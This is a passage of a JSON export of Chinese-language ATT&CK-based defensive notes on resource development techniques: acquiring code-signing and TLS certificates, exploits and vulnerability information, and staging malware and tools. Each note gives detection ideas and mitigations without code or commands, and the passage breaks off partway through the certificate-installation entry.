    "content": "# T1588-003-获取能力-代码签名证书\n\n## 描述\n\n在入侵目标组织之前，攻击者可能会购买、窃取或下载可在目标定位期间使用的代码签名证书。代码签名是对可执行文件和脚本进行数字签名的过程，以确认软件作者并确保代码未被更改或破坏。代码签名为开发者的程序提供一定的真实性，并保证程序未被篡改。相比未签名的代码，即使用户或安全工具不知道颁发证书的人或代码的作者，签名的代码也可能更容易获得信任。\n\n攻击者可能通过购买或窃取代码签名证书来伪装合法软件，绕过安全检测或提升恶意代码的可信度。攻击者可以使用傀儡组织或利用从先前被入侵实体窃取的信息冒充合法实体，通过证书颁发机构（CA）完成代码签名证书的购买。此外，攻击者可能直接从被入侵的第三方窃取代码签名材料，或从暗网市场购买泄露的证书。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **窃取合法代码签名证书**  \n   攻击者通过入侵软件公司或开发者的系统，窃取合法的代码签名证书，用于签署恶意软件以绕过安全软件检测。例如，某些恶意软件团伙利用泄露的证书签署恶意可执行文件，使其看似来自可信来源。  \n\n2. **购买伪造证书**  \n   攻击者通过暗网市场购买伪造的代码签名证书，或使用虚假身份从合法CA购买证书，进而签署恶意软件以伪装成合法应用程序。\n\n## 检测日志\n\n**无法有效监测**  \n代码签名证书的获取通常发生在攻击者的环境中，与目标系统无直接交互，因此难以通过日志直接检测。可能相关的日志来源包括：\n\n- **系统日志**：Windows事件日志（如事件ID 4657）可能记录证书安装或信任更改事件。\n- **安全软件日志**：EDR或防病毒工具可能记录可疑签名或不受信任证书的执行尝试。\n- **网络日志**：与证书验证相关的网络请求（如CRL或OCSP检查）可能提供间接线索。\n\n## 测试复现\n\n无具体复现方法。  \n代码签名证书的获取通常在目标系统之外进行，难以在实验室环境中直接模拟。以下是一个概念性复现思路，仅供参考：\n\n## 测试留痕\n\n无明显留痕。  \n代码签名证书的获取活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **证书安装**：如果攻击者将窃取或伪造的证书安装到目标系统的信任存储中，可能在证书管理器或系统日志中留下记录。\n- **恶意软件执行**：签名后的恶意代码可能触发防病毒软件的警告或异常行为日志。\n- **网络活动**：与证书验证相关的网络请求（如CRL或OCSP检查）可能被记录在网络流量日志中。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。由于证书的获取主要发生在攻击者的环境中，传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路：\n\n1. **监控异常证书行为**  \n   - 检查系统中安装的代码签名证书，识别来源不明或可疑的证书。  \n   - 使用工具（如Windows CertMgr或OpenSSL）分析证书链，检测非受信任根证书或异常颁发者。  \n\n2. **行为分析**  \n   - 监控可执行文件的签名状态，重点关注签名无效或使用可疑证书的文件。  \n   - 使用EDR工具检测异常进程或文件的执行行为，尤其是与签名不匹配的情况。  \n\n3. **网络流量分析**  \n   - 检测与可疑证书相关的网络通信，如CRL或OCSP请求涉及未知颁发者。  \n   - 监控异常的HTTPS流量，检查是否涉及伪造或不受信任的证书。  \n\n4. **威胁情报整合**  \n   - 使用威胁情报平台（如VirusTotal、ThreatConnect）检查已知被盗或伪造证书的指纹，关联潜在的攻击活动。\n\n## 建议\n\n### 缓解措施\n\n由于代码签名证书的获取发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **增强代码签名验证**  \n   - 配置系统仅信任来自受信证书颁发机构（CA）的签名代码，限制伪造或不受信任证书的执行。  \n   - 在操作系统或安全软件中配置策略，阻止未签名或签名无效的可执行文件运行。  \n   - 示例Windows组策略设置：\n     - 路径：`计算机配置->管理模板->系统->驱动程序安装`\n     - 启用“代码签名用于设备驱动程序”并选择“阻止”。\n\n2. **用户教育**  \n   - 培训用户识别可疑软件，避免运行未知来源或提示证书不受信任的程序。  \n   - 教授用户检查软件的数字签名（如右键单击文件->属性->数字签名）。\n\n3. **应用程序白名单**  \n   - 部署应用程序白名单策略，仅允许经过验证的合法应用程序运行，减少伪造签名恶意软件的影响。  \n   - 示例工具：Windows AppLocker或第三方解决方案（如Carbon Black）。\n\n4. **证书管理**  \n   - 定期审计系统中的根证书和中间证书，移除或限制不受信任的证书。  \n   - 使用证书透明度（CT）日志监控可疑证书的颁发。  \n\n5. **系统加固**  \n   - 限制用户安装不受信任证书的能力，防止攻击者将伪造证书添加到信任存储。  \n   - 配置防火墙规则，限制与可疑证书相关的网络通信。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在相关后续行为上，包括但不限于：  \n- **异常签名检测**：监控系统中运行的可执行文件，检查签名证书的合法性（如是否来自未知或伪造证书）。  \n- **根证书安装监控**：检测系统中是否安装了非预期或不受信任的根证书，可能是攻击者为后续活动铺垫的迹象。  \n  - 示例Windows事件ID：4657（注册表更改，可能涉及证书存储）。  \n- **行为监控**：通过EDR或SIEM系统，关注异常的文件执行、进程行为或网络活动，尤其是与可疑签名证书相关的行为。  \n- **威胁情报整合**：利用威胁情报平台（如VirusTotal、Recorded Future）检查已知被盗或伪造证书的指纹或哈希值。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1588-003  \n  <https://attack.mitre.org/techniques/T1588/003/>"
  },
  {
    "path": "Windows/02资源开发/T1588.004-获取能力-数字证书.md",
    "content": "# T1588-004-获取能力-数字证书\n\n## 描述\n\n在入侵目标组织之前，攻击者可能会购买或窃取可在目标定位期间使用的SSL/TLS证书。SSL/TLS证书旨在确保通信安全与信任，包含密钥信息、所有者身份信息以及由可信实体验证的数字签名。如果签名有效且检查证书的人员信任签名者，则可确认使用该密钥与其所有者进行安全通信。\n\n攻击者可能通过购买或窃取SSL/TLS证书用于恶意目的，例如加密命令与控制（C2）流量（如通过Web协议）、伪装合法服务，或在证书被添加到目标系统的信任根存储（即安装根证书）后实施中间人（MITM）攻击。攻击者可以使用傀儡组织或利用从先前被入侵实体窃取的信息冒充合法实体，通过证书颁发机构（CA）完成证书购买。此外，攻击者可能直接从被入侵的第三方窃取SSL/TLS证书，或从暗网市场购买泄露的证书。某些证书颁发机构（如提供免费域名验证证书的机构）可能被攻击者利用，免费获取SSL/TLS证书。攻击者还可能注册或劫持域名，以便后续购买或使用SSL/TLS证书。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **购买免费SSL/TLS证书**  \n   攻击者通过免费证书颁发机构（如Let's Encrypt）为恶意域名获取SSL/TLS证书，用于配置伪装的HTTPS网站或C2服务器，诱导用户信任或隐藏恶意流量。\n\n2. **窃取企业证书**  \n   攻击者入侵合法企业的服务器，窃取SSL/TLS证书及其私钥，用于伪装成受信任的网站或服务，执行MITM攻击或分发恶意内容。\n\n## 检测日志\n\n**无法有效监测**  \nSSL/TLS证书的获取通常发生在攻击者的环境中，与目标系统无直接交互，因此难以通过日志直接检测。可能相关的日志来源包括：\n\n- **系统日志**：Windows事件日志（如事件ID 4657）可能记录证书安装或信任更改事件。\n- **网络日志**：与证书验证相关的网络请求（如OCSP或CRL检查）可能提供间接线索。\n- **安全软件日志**：EDR或防病毒工具可能记录与不受信任或伪造证书相关的异常网络连接或进程行为。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。  \nSSL/TLS证书的获取活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **证书安装**：如果攻击者将伪造或窃取的证书安装到目标系统的信任根存储中，可能在证书管理器或系统日志中留下记录。\n- **网络活动**：与伪造证书相关的HTTPS流量可能触发安全警告或被记录在网络日志中（如TLS握手失败）。\n- **恶意行为**：使用伪造证书的恶意服务或C2通信可能在EDR或防病毒日志中留下异常行为记录。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。由于证书的获取主要发生在攻击者的环境中，传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路：\n\n1. **监控异常证书行为**  \n   - 检查系统中安装的SSL/TLS证书，识别来源不明或可疑的证书。  \n   - 使用工具（如Windows CertMgr或OpenSSL）分析证书链，检测非受信任根证书或异常颁发者。  \n\n2. **网络流量分析**  \n   - 监控HTTPS流量，检测使用伪造或不受信任证书的异常TLS连接。  \n   - 检查与证书验证相关的网络请求（如CRL或OCSP请求），识别可疑证书指纹。  \n\n3. **行为分析**  \n   - 使用EDR工具检测与伪造证书相关的异常进程或网络行为，如PowerShell脚本发起的HTTPS请求。  \n\n4. **威胁情报整合**  \n   - 使用威胁情报平台（如VirusTotal、ThreatConnect）检查已知被盗或伪造证书的指纹或域名，关联潜在的攻击者基础设施。\n\n## 建议\n\n### 缓解措施\n\n由于SSL/TLS证书的获取发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **增强证书验证**  \n   - 配置系统仅信任来自受信证书颁发机构（CA）的SSL/TLS证书，限制伪造或不受信任证书的使用。  \n   - 在浏览器或操作系统中启用严格的证书检查，阻止不受信任证书的连接。  \n   - 示例Windows组策略设置：\n     - 路径：`计算机配置->管理模板->系统->Internet通信管理->Internet通信设置`\n     - 启用“关闭自动根证书更新”以防止意外信任。\n\n2. **用户教育**  \n   - 培训用户识别可疑HTTPS网站，尤其是提示证书不受信任的页面。  \n   - 教授用户检查证书详情（如右键单击浏览器锁图标->查看证书）。\n\n3. **网络安全控制**  \n   - 部署TLS解密设备（如下一代防火墙）以检查加密流量，识别伪造或不受信任证书的使用。  \n   - 配置入侵检测系统（IDS）以检测异常TLS握手或证书错误。\n\n4. **证书管理**  \n   - 定期审计系统中的根证书和中间证书，移除或限制不受信任的证书。  \n   - 使用证书透明度（CT）日志监控可疑证书的颁发。  \n\n5. **域名保护**  \n   - 监控与组织相关的域名注册，防止攻击者注册相似域名用于伪造证书。  \n   - 使用域名监控服务（如DomainTools）检测可疑域名活动。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在相关后续行为上，包括但不限于：  \n- **异常证书检测**：监控系统中运行的HTTPS连接，检查证书是否为伪造或来自不受信任的CA。  \n- **根证书安装监控**：检测系统中是否安装了非预期或不受信任的根证书，可能是攻击者铺垫MITM攻击的迹象。  \n  - 示例Windows事件ID：4657（注册表更改，可能涉及证书存储）。  \n- **网络行为监控**：通过EDR或SIEM系统，关注异常的HTTPS流量、脚本执行或与可疑域名相关的通信。  \n- **证书信息追踪**：利用证书透明度（CT）日志或其他服务，跟踪Internet上使用的证书，识别与攻击者基础设施相关的证书。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1588-004  \n  <https://attack.mitre.org/techniques/T1588/004/>"
  },
  {
    "path": "Windows/02资源开发/T1588.005-获取能力-漏洞利用.md",
    "content": "# T1588-005-获取能力-漏洞利用\n\n## 描述\n\n在入侵目标组织之前，攻击者可能会购买、窃取或下载可在目标定位期间使用的漏洞利用程序。漏洞利用程序利用软硬件的脆弱性，引发计算机硬件或软件上发生意外或未预期的行为。攻击者可能通过在网上查找、修改现有漏洞，或从漏洞供应商处购买漏洞利用程序，而非自行开发漏洞。\n\n攻击者可以从互联网上下载免费的漏洞利用程序，或从第三方实体（如专门从事恶意软件开发的技术公司、网络犯罪市场或个人）购买漏洞利用程序。此外，攻击者可能从第三方实体（包括其他攻击者）窃取漏洞利用程序并用于其他目的。攻击者还可能监视漏洞利用提供商论坛，了解现有漏洞及新发现漏洞的状态。发现漏洞与公开漏洞之间通常存在延迟，攻击者可能利用这一时间窗口针对未修补系统发起攻击。\n\n攻击者可能将已知进行漏洞利用研究和开发的系统作为目标，收集相关信息以便在后续操作中使用。漏洞利用可能在攻击生命周期的各个阶段使用，包括面向公众应用的漏洞利用、客户端执行利用、提权漏洞利用、防御逃逸漏洞利用、凭据获取漏洞利用、远程服务漏洞利用，以及应用程序或系统漏洞导致的拒绝服务攻击。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **购买漏洞利用程序**  \n   攻击者通过暗网市场购买针对流行软件（如Adobe Flash或Microsoft Windows）的零日漏洞利用程序，用于初始访问或提权。例如，购买针对SMB协议漏洞（如EternalBlue）的利用代码。\n\n2. **窃取漏洞利用代码**  \n   攻击者入侵安全研究人员的服务器或代码仓库，窃取未公开的漏洞利用代码，修改后用于针对性攻击。\n\n## 检测日志\n\n**无法有效监测**  \n漏洞利用程序的获取通常发生在攻击者的环境中，与目标系统无直接交互，因此难以通过日志直接检测。\n\n可能相关的日志来源包括：\n\n- **系统日志**：如果漏洞利用程序在目标系统上执行，可能在Windows事件日志（如事件ID 4688、4689）中记录异常进程或行为。\n- **安全软件日志**：EDR或防病毒工具可能记录漏洞利用尝试触发的异常行为（如缓冲区溢出或内存异常）。\n- **网络日志**：与漏洞利用相关的网络流量（如异常的HTTP请求或协议异常）可能提供间接线索。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。  \n漏洞利用程序的获取活动通常不会在目标系统上留下直接痕迹。\n\n相关留痕可能出现在后续阶段，包括：\n\n- **漏洞利用执行**：漏洞利用可能触发异常进程、文件操作或系统崩溃，记录在系统日志或EDR中。\n- **网络活动**：漏洞利用可能生成异常网络流量（如畸形数据包或异常协议行为），记录在IDS/IPS或网络日志中。\n- **内存异常**：漏洞利用可能导致内存访问异常，触发安全软件的告警。\n\n## 检测规则/思路\n\n无明确的检测规则。\n\n## 建议\n\n### 缓解措施\n\n由于漏洞利用程序的获取发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **及时补丁管理**  \n   - 定期更新操作系统、应用程序和固件，修补已知漏洞，减少可被利用的攻击面。  \n   - 使用补丁管理工具（如WSUS或SCCM）确保补丁及时部署。\n\n2. **最小权限原则**  \n   - 限制用户和应用程序的权限，减少漏洞利用导致的特权提升或横向移动风险。  \n   - 示例：启用Windows的UAC（用户账户控制）并限制管理员账户使用。\n\n3. **安全配置**  \n   - 启用系统防护机制，如地址空间布局随机化（ASLR）、数据执行保护（DEP）和控制流保护（CFG）。  \n   - 配置防火墙规则，限制异常网络流量。\n\n4. **应用程序白名单**  \n   - 部署应用程序白名单策略，仅允许受信任的应用程序运行，减少恶意代码执行的机会。  \n\n5. **用户教育**  \n   - 培训用户识别可疑文件或链接，避免触发客户端漏洞利用（如恶意PDF或Office文档）。  \n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在相关后续行为上，包括但不限于：  \n- **异常行为检测**：监控系统中的异常进程、内存访问或文件操作，识别潜在的漏洞利用行为。  \n- **网络行为监控**：通过IDS/IPS或SIEM系统，关注异常的网络流量模式，如畸形数据包或高频连接。  \n- **日志分析**：分析系统日志（如Windows事件ID 4688、5156）或安全软件日志，识别与漏洞利用相关的行为（如提权或防御逃逸）。  \n- **威胁情报整合**：利用威胁情报平台，关联已知漏洞利用的IOC（Indicators of Compromise），如文件哈希、IP地址或域名。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1588-005  \n  <https://attack.mitre.org/techniques/T1588/005/>"
  },
  {
    "path": "Windows/02资源开发/T1588.006-获取能力-漏洞.md",
    "content": "# T1588-006-获取能力-漏洞\n\n## 描述\n\n在入侵目标组织之前，攻击者可能会获取可在目标定位期间使用的漏洞信息。漏洞是计算机硬件或软件中的弱点，可能被攻击者利用，导致意外或非预期的行为发生。攻击者可能通过搜索公开的漏洞数据库（如CVE、NVD）、访问封闭的漏洞数据库或参与地下论坛来获取漏洞信息。\n\n攻击者可能监测漏洞披露平台和数据库，以了解现有漏洞及新发现漏洞的状态。漏洞发现与公开之间通常存在时间延迟，攻击者可利用这一窗口针对未修补系统发起攻击。此外，攻击者可能将已知进行漏洞研究的系统（如商业软件供应商或安全研究机构）作为目标，通过入侵或社会工程学窃取未公开的漏洞信息。在获取漏洞信息后，攻击者可能搜索现有的漏洞利用程序，或尝试自行开发利用代码以实现特定目标。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **监控公开漏洞数据库**  \n   攻击者定期查询国家漏洞数据库（NVD）或Exploit-DB，获取针对流行软件（如Apache、Windows）的已知漏洞信息（如CVE-2021-41773），并寻找可用的利用代码。\n\n2. **窃取漏洞研究数据**  \n   攻击者入侵安全研究公司或开发者的代码仓库，窃取未公开的零日漏洞信息，随后用于针对性攻击或出售给其他攻击者。\n\n## 检测日志\n\n**无法有效监测**  \n漏洞信息的获取通常发生在攻击者的环境中，与目标系统无直接交互，因此难以通过日志直接检测。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。漏洞信息的获取活动通常不会在目标系统上留下直接痕迹。\n\n相关留痕可能出现在后续阶段，包括：\n\n- **漏洞利用执行**：漏洞利用可能触发异常进程、文件操作或系统崩溃，记录在系统日志或EDR中。\n- **网络活动**：漏洞利用可能生成异常网络流量（如畸形数据包或异常协议行为），记录在IDS/IPS或网络日志中。\n- **内存异常**：漏洞利用可能导致内存访问异常，触发安全软件的告警。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。由于漏洞信息的获取主要发生在攻击者的环境中，传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路：\n\n1. **监控异常行为**  \n   - 使用EDR工具检测潜在漏洞利用行为，如缓冲区溢出、堆喷射或代码注入。  \n \n2. **网络流量分析**  \n   - 监控异常的网络流量模式，如畸形HTTP请求、异常协议行为或高频连接尝试。  \n\n3. **补丁管理监控**  \n   - 定期检查系统补丁状态，识别未修补的已知漏洞（CVE），推断可能的攻击目标。  \n\n4. **威胁情报整合**  \n   - 使用威胁情报平台（如VirusTotal、AlienVault）检查已知漏洞的特征（如CVE编号、恶意IP或Payload哈希）。  \n   - 关联已知漏洞利用的IOC（Indicators of Compromise）与系统日志，识别潜在的攻击尝试。\n\n## 建议\n\n### 缓解措施\n\n由于漏洞信息的获取发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **及时补丁管理**  \n   - 定期更新操作系统、应用程序和固件，修补已知漏洞，减少可被利用的攻击面。  \n   - 使用补丁管理工具（如WSUS、SCCM）确保补丁及时部署。\n\n2. **最小权限原则**  \n   - 限制用户和应用程序的权限，减少漏洞利用导致的特权提升或横向移动风险。  \n   - 示例：启用Windows的UAC（用户账户控制）并限制管理员账户使用。\n\n3. **安全配置**  \n   - 启用系统防护机制，如地址空间布局随机化（ASLR）、数据执行保护（DEP）和控制流保护（CFG）。  \n   - 配置防火墙规则，限制异常网络流量。\n\n4. **应用程序白名单**  \n   - 部署应用程序白名单策略，仅允许受信任的应用程序运行，减少恶意代码执行的机会。  \n\n5. **用户教育**  \n   - 培训用户识别可疑文件、链接或附件，避免触发客户端漏洞利用（如恶意PDF或Office文档）。  \n   - 教授用户检查软件来源和数字签名。\n\n6. **漏洞情报监控**  \n   - 订阅漏洞披露平台（如NVD、CVE）或威胁情报服务，及时了解新披露的漏洞并采取补救措施。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在与漏洞利用相关的后续行为上，包括但不限于：  \n- **异常行为检测**：监控系统中的异常进程、内存访问或文件操作，识别潜在的漏洞利用行为。  \n- **网络行为监控**：通过IDS/IPS或SIEM系统，关注异常的网络流量模式，如畸形数据包或高频连接。  \n- **日志分析**：分析系统日志（如Windows事件ID 4688、5156）或安全软件日志，识别与漏洞利用相关的行为（如提权或防御逃逸）。  \n- **威胁情报整合**：利用威胁情报平台，关联已知漏洞的IOC（如CVE编号、文件哈希、IP地址或域名），识别潜在的攻击活动。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1588-006  \n  <https://attack.mitre.org/techniques/T1588/006/>"
  },
  {
    "path": "Windows/02资源开发/T1608.001-部署能力-部署恶意软件.md",
    "content": "# T1608-001-部署能力-部署恶意软件\n\n## 描述\n\n攻击者可能将恶意软件上传到第三方或攻击者控制的基础设施，以在定向攻击期间使用。恶意软件可能包括有效载荷、投放器、后渗透工具、后门、加壳程序、C2协议或受感染的可移动存储设备内容。攻击者可能通过将恶意软件部署到可公开访问的Web服务器、云存储、代码托管平台（如GitHub、Pastebin）或第三方软件商店（如AWS Community AMIs、Docker Hub）来实现攻击目标，例如通过用户执行或入侵工具转移技术分发恶意内容。\n\n攻击者可能在之前购买或租用的基础设施（获取基础设施）、被入侵的基础设施（入侵基础设施）或公共Web服务上部署恶意软件。部署的恶意软件可能伪装成合法软件、应用程序二进制文件、虚拟机镜像或容器镜像，以诱导受害者下载或安装。伪装技术（如使用可信来源的名称或图标）可能增加用户执行这些文件的机会。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **上传恶意软件到公共存储库**  \n   攻击者将伪装成合法工具的恶意二进制文件上传到GitHub或Pastebin，诱导受害者通过社会工程学下载并执行。\n\n2. **部署恶意容器镜像**  \n   攻击者将包含后门的Docker镜像上传到Docker Hub，伪装成常用应用程序的镜像，等待受害者在开发或生产环境中拉取并运行。\n\n## 检测日志\n\n**无法有效监测**  \n恶意软件的部署通常发生在攻击者控制或第三方基础设施上，与目标系统无直接交互，因此难以通过日志直接检测。可能相关的日志来源包括：\n\n- **系统日志**：如果恶意软件在目标系统上执行，可能在Windows事件日志（如事件ID 4688、4689）中记录异常进程或行为。\n- **网络日志**：从可疑来源下载恶意软件的网络流量（如异常的HTTP或DNS请求）可能提供间接线索。\n- **安全软件日志**：EDR或防病毒工具可能记录已知恶意软件的签名或异常行为。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。  \n恶意软件的部署活动通常不会在目标系统上留下直接痕迹。\n\n相关留痕可能出现在后续阶段，包括：\n\n- **恶意软件执行**：恶意软件运行可能触发异常进程、文件操作或注册表更改，记录在系统日志或EDR中。\n- **网络活动**：从可疑来源下载恶意软件可能生成异常网络流量，记录在IDS/IPS或网络日志中。\n- **文件系统痕迹**：恶意软件可能在系统中创建临时文件或配置文件，记录在文件系统日志中。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。\n\n## 建议\n\n### 缓解措施\n\n由于恶意软件的部署发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **增强端点防护**  \n   - 部署并更新防病毒软件和EDR工具，检测已知恶意软件的签名和行为。  \n\n2. **应用程序白名单**  \n   - 部署应用程序白名单策略，仅允许受信任的应用程序运行，减少恶意软件执行的机会。  \n\n3. **网络安全控制**  \n   - 配置防火墙和IDS/IPS，阻止与已知恶意基础设施的通信。  \n   - 部署DNS过滤，阻止对可疑域名的访问。  \n\n4. **用户教育**  \n   - 培训用户识别可疑文件、链接或下载来源，避免从不可信平台下载软件。  \n   \n5. **系统加固**  \n   - 禁用不必要的服务和端口，减少恶意软件利用的攻击面。  \n   - 启用系统防护机制，如地址空间布局随机化（ASLR）和数据执行保护（DEP）。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在攻击生命周期的后续阶段，包括但不限于：  \n- **用户执行检测**：监控系统中异常的可执行文件或脚本运行，识别潜在的恶意软件执行。  \n- **网络行为监控**：通过IDS/IPS或SIEM系统，关注从可疑来源下载文件或与C2服务器通信的流量。  \n- **日志分析**：分析系统日志（如Windows事件ID 4688、5156）或安全软件日志，识别与恶意软件部署相关的行为。  \n- **威胁情报整合**：利用威胁情报平台，关联已知恶意软件的IOC（Indicators of Compromise），如文件哈希、IP地址或域名。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1608-001  \n  <https://attack.mitre.org/techniques/T1608/001/>"
  },
  {
    "path": "Windows/02资源开发/T1608.002-部署能力-部署工具.md",
    "content": "# T1608-002-部署能力-部署工具\n\n## 描述\n\n攻击者可能将工具上传到第三方或攻击者控制的基础设施，以在定向攻击期间使用。工具可以是开源或闭源的，免费或商业的。攻击者可能将原本非恶意的工具（如PsExec、PowerShell或Mimikatz）用于恶意目的，以支持后渗透行为，如横向移动、数据收集或持久化。攻击者可能通过将工具部署到可公开访问的Web服务器、云存储、代码托管平台（如GitHub）或第三方软件商店来实现攻击目标，例如通过入侵工具转移技术分发工具。\n\n工具可能被部署在攻击者购买或租用的基础设施（获取基础设施）、被入侵的基础设施（入侵基础设施）或公共Web服务（如GitHub、Pastebin）上。攻击者还可能通过诱导受害者从第三方托管位置（如非攻击者控制的GitHub存储库）或工具的原始托管网站下载工具，规避直接上传工具的行为，以降低被检测的风险。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **部署合法工具到公共存储库**  \n   攻击者将PsExec或Mimikatz等合法工具上传到GitHub，伪装成开发工具的一部分，诱导受害者下载并运行以执行恶意操作。\n\n2. **利用云存储分发工具**  \n   攻击者将修改后的Cobalt Strike二进制文件上传到云存储服务（如Dropbox），通过社会工程学诱导受害者下载，进而建立C2通信。\n\n## 检测日志\n\n**无法有效监测**  \n工具的部署通常发生在攻击者控制或第三方基础设施上，与目标系统无直接交互，因此难以通过日志直接检测。\n\n可能相关的日志来源包括：\n\n- **系统日志**：如果工具在目标系统上执行，可能在Windows事件日志（如事件ID 4688、4689）中记录异常进程或命令执行。\n- **网络日志**：从可疑来源下载工具的网络流量（如异常的HTTP或DNS请求）可能提供间接线索。\n- **安全软件日志**：EDR或防病毒工具可能记录合法工具的异常使用行为，如PsExec在非预期环境中的运行。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。  \n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。\n\n## 建议\n\n### 缓解措施\n\n由于工具的部署发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **增强端点防护**  \n   - 部署并更新EDR或防病毒工具，检测合法工具的异常使用行为。  \n\n2. **应用程序白名单**  \n   - 部署应用程序白名单策略，仅允许受信任的应用程序运行，限制未经授权的工具执行。  \n\n3. **网络安全控制**  \n   - 配置防火墙和IDS/IPS，阻止与可疑基础设施的通信。  \n   - 部署DNS过滤，阻止对可疑域名的访问。  \n\n4. **用户教育**  \n   - 培训用户识别可疑文件、链接或下载来源，避免从不可信平台下载工具。  \n\n5. **系统加固**  \n   - 禁用不必要的管理工具和服务（如远程桌面或WMI），减少被滥用的可能性。  \n   - 启用系统防护机制，如地址空间布局随机化（ASLR）和数据执行保护（DEP）。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在攻击生命周期的后续阶段，包括但不限于：  \n- **异常行为检测**：监控系统中异常的工具执行行为，如PsExec或PowerShell在非预期场景中的使用。  \n- **网络行为监控**：通过IDS/IPS或SIEM系统，关注从可疑来源下载文件或与C2服务器通信的流量。  \n- **日志分析**：分析系统日志（如Windows事件ID 4688、5156）或安全软件日志，识别与工具滥用相关的行为。  \n- **威胁情报整合**：利用威胁情报平台，关联已知工具的IOC（Indicators of Compromise），如文件哈希、IP地址或域名。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1608-002  \n  <https://attack.mitre.org/techniques/T1608/002/>"
  },
  {
    "path": "Windows/02资源开发/T1608.003-部署能力-安装数字证书.md",
    "content": "# T1608-003-部署能力-安装数字证书\n\n## 描述\n\n攻击者可能在定向攻击期间安装SSL/TLS证书，以支持恶意操作。SSL/TLS证书是用于实现系统间安全通信的文件，包含密钥信息、所有者身份信息以及由可信实体验证的数字签名。如果签名有效且检查证书的人员信任签名者，则可确认使用该密钥与其所有者进行安全通信。攻击者可以将证书上传到服务器，并配置服务器使用该证书以启用加密通信。\n\n攻击者可能安装SSL/TLS证书用于多种恶意目的，例如加密命令与控制（C2）流量（如通过Web协议使用非对称加密）、伪装合法服务以提升可信度，或为凭据收集站点（如钓鱼网站）提供HTTPS支持。证书可用于多种服务，包括Web服务器、电子邮件服务器或其他网络服务。\n\n攻击者可能通过购买或窃取数字证书（参见获取数字证书T1588-004）或创建自签名证书（参见开发数字证书T1587-003）获取证书。这些证书随后可能被安装在攻击者控制的基础设施上，如购买或租用的基础设施（获取基础设施T1583）、被入侵的基础设施（入侵基础设施T1584）或公共Web服务。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **安装证书以伪装合法网站**  \n   攻击者为钓鱼网站安装从暗网购买的SSL/TLS证书，伪装成合法的银行或企业网站，诱导用户输入敏感信息。\n\n2. **配置C2服务器证书**  \n   攻击者将自签名或窃取的SSL/TLS证书安装在C2服务器上，加密恶意流量以规避网络检测，模拟合法HTTPS通信。\n\n## 检测日志\n\n**无法有效监测**  \nSSL/TLS证书的安装通常发生在攻击者控制或第三方基础设施上，与目标系统无直接交互，因此难以通过日志直接检测。\n\n可能相关的日志来源包括：\n\n- **系统日志**：如果攻击者将证书安装到目标系统的信任根存储中，可能在Windows事件日志（如事件ID 4657）中记录证书安装或信任更改事件。\n- **网络日志**：与证书验证相关的网络请求（如OCSP或CRL检查）可能提供间接线索。\n- **安全软件日志**：EDR或防病毒工具可能记录与伪造或不受信任证书相关的异常网络连接或进程行为。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。  \nSSL/TLS证书的安装活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **证书安装**：如果攻击者将伪造或窃取的证书安装到目标系统的信任根存储中，可能在证书管理器或系统日志中留下记录。\n- **网络活动**：与伪造证书相关的HTTPS流量可能触发安全警告或被记录在网络日志中（如TLS握手失败）。\n- **恶意行为**：使用证书的恶意服务或C2通信可能在EDR或防病毒日志中留下异常行为记录。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。\n\n## 建议\n\n### 缓解措施\n\n由于SSL/TLS证书的安装发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **增强证书验证**  \n   - 配置系统仅信任来自受信证书颁发机构（CA）的SSL/TLS证书，限制伪造或不受信任证书的使用。  \n   - 在浏览器或操作系统中启用严格的证书检查，阻止不受信任证书的连接。  \n   - 示例Windows组策略设置：\n     - 路径：`计算机配置->管理模板->系统->Internet通信管理->Internet通信设置`\n     - 